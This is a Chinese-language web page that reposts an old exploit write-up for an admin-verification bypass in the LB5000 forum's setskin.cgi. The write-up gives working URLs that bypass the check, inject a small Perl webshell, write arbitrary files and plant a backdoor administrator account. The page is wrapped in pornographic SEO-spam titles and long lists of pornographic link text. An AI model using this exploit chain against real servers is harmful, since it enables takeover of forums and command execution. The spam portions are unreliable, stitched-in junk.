在线看毛片视频-国产免费av在线-欧美日韩一区二区三区-国产成人无码av在线播放无广告-亚洲人va欧美va人人爽-国产第一草草-西班牙黄色片-四虎在线网站8848-最新av片免费网站入口-东京热无码中文字幕av专区-日本大人吃奶视频xxxx-欧美精品一区二区三区四区五区-国产片天天弄-国产免费内射又粗又爽密桃视频-欧美爱爱网站-日韩v欧美

當前位置:雨林木風下載站 > 安全殺毒教程 > 詳細頁面

LB5K論壇setskin.cgi存在管理員驗證可繞開漏洞

LB5K論壇setskin.cgi存在管理員驗證可繞開漏洞

更新時間:2025-10-13 文章作者:未知 信息來源:網絡 閱讀次數:

網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據...
網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。

>>>Dedicated This Scrap To CaoJing<<<

涉及版本:
LB5000XP所有版本,低于LB5000MX1.90(1.90已修復)所有版本

描述:
LB是一款由www.leoboard.com開發和維護的源代碼開放的cgi論壇;由于setskin.cgi存在管理員驗證可繞開漏洞,可能導致非法用戶控制論壇或以web權限在系統上執行任意命令

具體:
LB論壇管理菜單中有個“管理區插件設定“的特殊功能,我們來看看它是如何對管理員進行驗證的:
----------------------------------------------
62 $inmembername = cookie("adminname");
63 $inpassword = cookie("adminpass");
...
68 &getmember("$inmembername");
69 
70 if (($membercode eq "ad") && ($inpassword eq $password) && (lc($inmembername) eq lc($membername))) {
...
----------------------------------------------
其中getmember()是提取用戶資料的一個函數,如果$inmembername用戶存在它將返回此用戶的密碼、等級等信息,但要是這個用戶不存在呢?呵呵,這下可就壞了,我們還是先來看看getmember()函數的相關部分:
----------------------------------------------
sub getmember {
my $nametocheck = shift;
...
my $filetoopen = "$lbdir" . "$memdir/$nametocheck.cgi";
...
if ((-e $filetoopen)&&($nametocheck !~ /^客人/)) {#如果用戶存在就提取
...#省略大量提取用戶信息的代碼 
}
else { $userregistered = "no"; }#如果不存在,僅僅返回這個
}
----------------------------------------------
顯然當我們直接請求setskin.cgi文件的時候$inmembername為空,也就是說&getmember("$inmembername")這行只會返回個$userregistered = "no";但setskin.cgi文件中$userregistered連影都沒有,嘿嘿,問題出來了吧:&getmember("$inmembername")在setskin.cgi文件中“形同虛設“!!我們現在回過頭看第70行的驗證代碼:
($inpassword eq $password)和(lc($inmembername) eq lc($membername))已經搞定了,因為它們都為空嘛;只有($membercode eq "ad")尚待搞定,要這是PHP程序你肯定會脫口而出我們直接指定“membercode=ad”啊!要命的是在這里你同樣可以這樣做,因為可愛的LB在setskin.cgi的開頭有這么幾行:
----------------------------------------------
@params = $query->param;
foreach (@params) {
$theparam = $query->param($_);
$theparam =~ s/\@/\\\@/g;
$theparam =~ s/\$/\\\$/g;
$theparam = &unHTML("$theparam");
${$_} = $theparam;
----------------------------------------------
哈哈,爽吧,還等什么,直接提交如下URL進入:
http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad
Yeah,成功!!
...恩,請小聲點,并沒有結束,相反,攻擊才開始。
上面這個是次要的,我們做不了什么,但我們繞開了驗證,接下來的代碼才有味道呢!
----------------------------------------------
73 if ($action eq "process") {
74
75
76 $printme .= "1\;\n";
77
78 $filetomake = "$lbdir" . "data/leoskin.cgi";
79
80 open(FILE,">$filetomake");
81 flock(FILE,2) if ($OS_USED eq "Unix");
82 print FILE "$printme";
83 close(FILE);
----------------------------------------------
同樣,這里的$printme也是我們手中控制的變量,可向data/leoskin.cgi覆蓋式的寫入東西,太好了,可寫什么呢?要知道寫這次會覆蓋上一次寫的,它可沒耐心讓你一行一行,而且,它還處理了一批有用字符:
----------------------------------------------
52 $theparam =~ s/\@/\\\@/g;
53 $theparam =~ s/\$/\\\$/g;
54 $theparam = &unHTML("$theparam");
...
sub unHTML {
my $text = shift;
$text =~ s/<!--(.|\n)*-->//g;
$text =~ s/\&/\&/g;
$text =~ s/<s cript>/\<s cript\>/ig;
$text =~ s/"/\"/g;
$text =~ s/ / \ /g;
$text =~ s/</\</g;
$text =~ s/>/\>/g;
$text =~ s/[\a\f\e\0\r\t]//isg;
$text =~ s/document.cookie/documents\&\#46\;cookie/isg;
return $text;
}
----------------------------------------------
My God,@&$”<>全軍覆沒,看來要動真格了,好,提交下面URL:
http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad&action=process&printme=use%20CGI%20qw(:standard)%3bopen(SKY,param('a'))%3bprint%20SKY%20param('b')%3b
文件data/leoskin.cgi現在變成什么樣了呢?
----------------------------------------------
use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');$printme = "use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');";
1;
----------------------------------------------
實質起作用的是:
----------------------------------------------
use CGI qw(:standard);
open(SKY,param('a'));
print SKY param('b');
----------------------------------------------
這個小webshell酷吧,它能做許多事哦,比如說:
http://www.psych.com/perl/lb5000mx/cgi-bin/data/leoskin.cgi?a=>;>E:/PsYch/PERL/LB5000MX/cgi-bin/data/hack.cgi&b=hahahaha
這樣你就在E:/PsYch/PERL/LB5000MX/cgi-bin/data/目錄下新寫入了一個文件hack.cgi其內容為”hahahaha”;照同樣的方法把下面這個文件一行一行(我沒強迫你這樣做,你可以寫個小程序)寫到對方web下一個目錄:
----------------------------------------------
$lbpath="E:/PsYch/PERL/LB5000MX/cgi-bin/";####注意:此處請修改####
$ad="/hack.cgi";
opendir(DIR,"$lbpath");
@files=readdir(DIR);
close(DIR);
@memdir=grep(/^members/,@files);
$hack=$lbpath.@memdir[0].$ad;
open(HACK,">$hack");
print HACK "hack\thack\thack\tad\n";
----------------------------------------------
假使你把文件名定為 love.cgi,在/somepath目錄下,提交
http://www.target.com/somepath/love.cgi
哦,一個hack/hack管理員誕生了!當然,上傳個功能強使用方便的webshell上去也行,不過那是你自己的工作了!
網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。

溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統下載排行

在线看毛片视频-国产免费av在线-欧美日韩一区二区三区-国产成人无码av在线播放无广告-亚洲人va欧美va人人爽-国产第一草草-西班牙黄色片-四虎在线网站8848-最新av片免费网站入口-东京热无码中文字幕av专区-日本大人吃奶视频xxxx-欧美精品一区二区三区四区五区-国产片天天弄-国产免费内射又粗又爽密桃视频-欧美爱爱网站-日韩v欧美
  • <li id="86scu"><menu id="86scu"></menu></li>
    <li id="86scu"></li>
    <button id="86scu"></button>
  • <s id="86scu"></s><button id="86scu"><menu id="86scu"></menu></button>
  • 色婷婷一区二区三区在线观看| 免费看a级黄色片| 欧美视频国产视频| 国产偷人视频免费| 日韩中文字幕免费在线| 成人精品视频一区二区| 久久精品国产精品亚洲色婷婷| 国产精品自拍片| av7777777| 免费日韩视频在线观看| 好男人www社区| 91小视频网站| 精品少妇人妻av一区二区| 奇米777在线| 亚洲精品久久久久久久蜜桃臀| 免费看日b视频| 99久久国产综合精品五月天喷水| 男人和女人啪啪网站| 国产精品宾馆在线精品酒店| 久久久国产欧美| 国产高清999| 亚洲国产成人精品无码区99| 国产第一页视频| 亚洲一区精品视频在线观看| 男女啪啪的视频| 青青视频在线播放| 在线观看国产中文字幕| 日本黄xxxxxxxxx100| 黄色一级片播放| 欧美视频国产视频| 成人一级生活片| 日韩一区二区三区不卡视频| 在线观看成人免费| 久热免费在线观看| 九九九久久久久久久| 大陆av在线播放| 91亚洲精品久久久蜜桃借种| 国产高清不卡无码视频| 国产又大又黄又粗的视频| 日韩国产精品毛片| caoporn超碰97| 国产九九九九九| 中国一级黄色录像| 色悠悠久久综合网| 黄www在线观看| 日韩不卡一二区| 国产野外作爱视频播放| 亚洲美免无码中文字幕在线| 成年人免费观看的视频| 能看的毛片网站| www.爱色av.com| 超碰97在线看| 色男人天堂av| 五月天av在线播放| 国产精品wwwww| av动漫在线观看| 国产美女主播在线播放| 日韩免费在线观看av| www激情五月| 99精品999| 一级黄色片在线免费观看| 久久综合伊人77777麻豆最新章节| 免费一级淫片aaa片毛片a级| 黑人巨大国产9丨视频| 国产一级免费大片| 91丝袜超薄交口足| 深爱五月综合网| 992tv快乐视频| 欧美黄网在线观看| 成人在线国产视频| 国产91xxx| 国产黄色特级片| 美女一区二区三区视频| 日本特黄a级片| 日韩欧美理论片| 粉嫩av一区二区三区天美传媒 | 拔插拔插华人永久免费| 中文字幕国内自拍| 亚洲欧美在线精品| 欧美成人手机在线视频| 91视频成人免费| 奇米精品一区二区三区| 黄色a级片免费| 天堂在线中文在线| 亚洲黄色小视频在线观看| 天天看片天天操| 2018中文字幕第一页| 狠狠97人人婷婷五月| 人妻无码视频一区二区三区| 亚洲高清视频免费| 日韩国产一级片| 污污动漫在线观看| 久久天天东北熟女毛茸茸| 鲁一鲁一鲁一鲁一澡| 色91精品久久久久久久久| 青青青在线观看视频| 粉嫩虎白女毛片人体| 日本美女爱爱视频| 国产高清视频网站| 欧美精品卡一卡二| 91看片破解版| 动漫av网站免费观看| 懂色av一区二区三区四区五区| 蜜臀av无码一区二区三区| 亚洲一区精品视频在线观看| 国产精品专区在线| 欧美xxxxxbbbbb| 亚洲欧美另类动漫| 免费在线观看视频a| 五月天色婷婷综合| 久久久久免费精品| 免费国产黄色网址| 欧美国产视频一区| 成人手机视频在线| 国产三级三级看三级| 日本日本19xxxⅹhd乱影响| 穿情趣内衣被c到高潮视频| www.亚洲高清| 黄色一级一级片| 免费毛片小视频| 日韩激情视频一区二区| 无码人妻aⅴ一区二区三区日本| 国产成人精品视频ⅴa片软件竹菊| 丁香六月激情婷婷| www.日本在线视频| 日韩精品免费一区| 五月天激情图片| 91网站在线观看免费| 午夜啪啪福利视频| 亚洲国产精品影视| 欧美激情第四页| 蜜臀av.com| 91国在线高清视频| 999久久欧美人妻一区二区| 污免费在线观看| 黄色a级三级三级三级| 波多野结衣免费观看| 麻豆视频传媒入口| 日韩专区第三页| 亚洲不卡中文字幕无码| 免费观看国产精品视频| 国产二区视频在线播放| 国产视频一区二区三区在线播放| 18岁视频在线观看| 久久婷婷综合色| 日韩视频在线观看视频| 免费在线看黄色片| 丝袜老师办公室里做好紧好爽| www国产精品内射老熟女| 欧美日韩第二页| 久久人人爽av| 久久久久久久9| 免费日韩中文字幕| 日韩视频在线免费播放| 国产精品久久久久久久乖乖| 丰满爆乳一区二区三区| avav在线看| 红桃视频一区二区三区免费| 久久久久99精品成人片| 69堂免费视频| 夜夜爽久久精品91| 欧美性久久久久| 中国黄色录像片| 国产成人亚洲精品无码h在线| av中文字幕网址| 日韩欧美不卡在线| 99日在线视频| 乱妇乱女熟妇熟女网站| 日韩 国产 一区| 91淫黄看大片| 黄色片网址在线观看| 成人av毛片在线观看| 免费午夜视频在线观看| 91.com在线| 两性午夜免费视频| 美女网站视频黄色| 337p粉嫩大胆噜噜噜鲁| 超碰超碰超碰超碰超碰| 在线观看免费不卡av| 中文字幕无码不卡免费视频| 99久久久精品视频| 在线播放 亚洲| 日韩精品你懂的| 日本黄网站免费| 一区二区传媒有限公司| 国产1区2区3区中文字幕| 亚洲三级在线观看视频| 在线看的黄色网址| 午夜视频在线瓜伦| 久久久免费视频网站| 亚洲 欧美 综合 另类 中字| 亚洲黄色网址在线观看| 亚洲精品综合在线观看| mm131国产精品| 国产精品久久a| 亚洲天堂国产视频| 污污的网站免费| 加勒比av中文字幕| 在线视频一二区| 精品久久免费观看|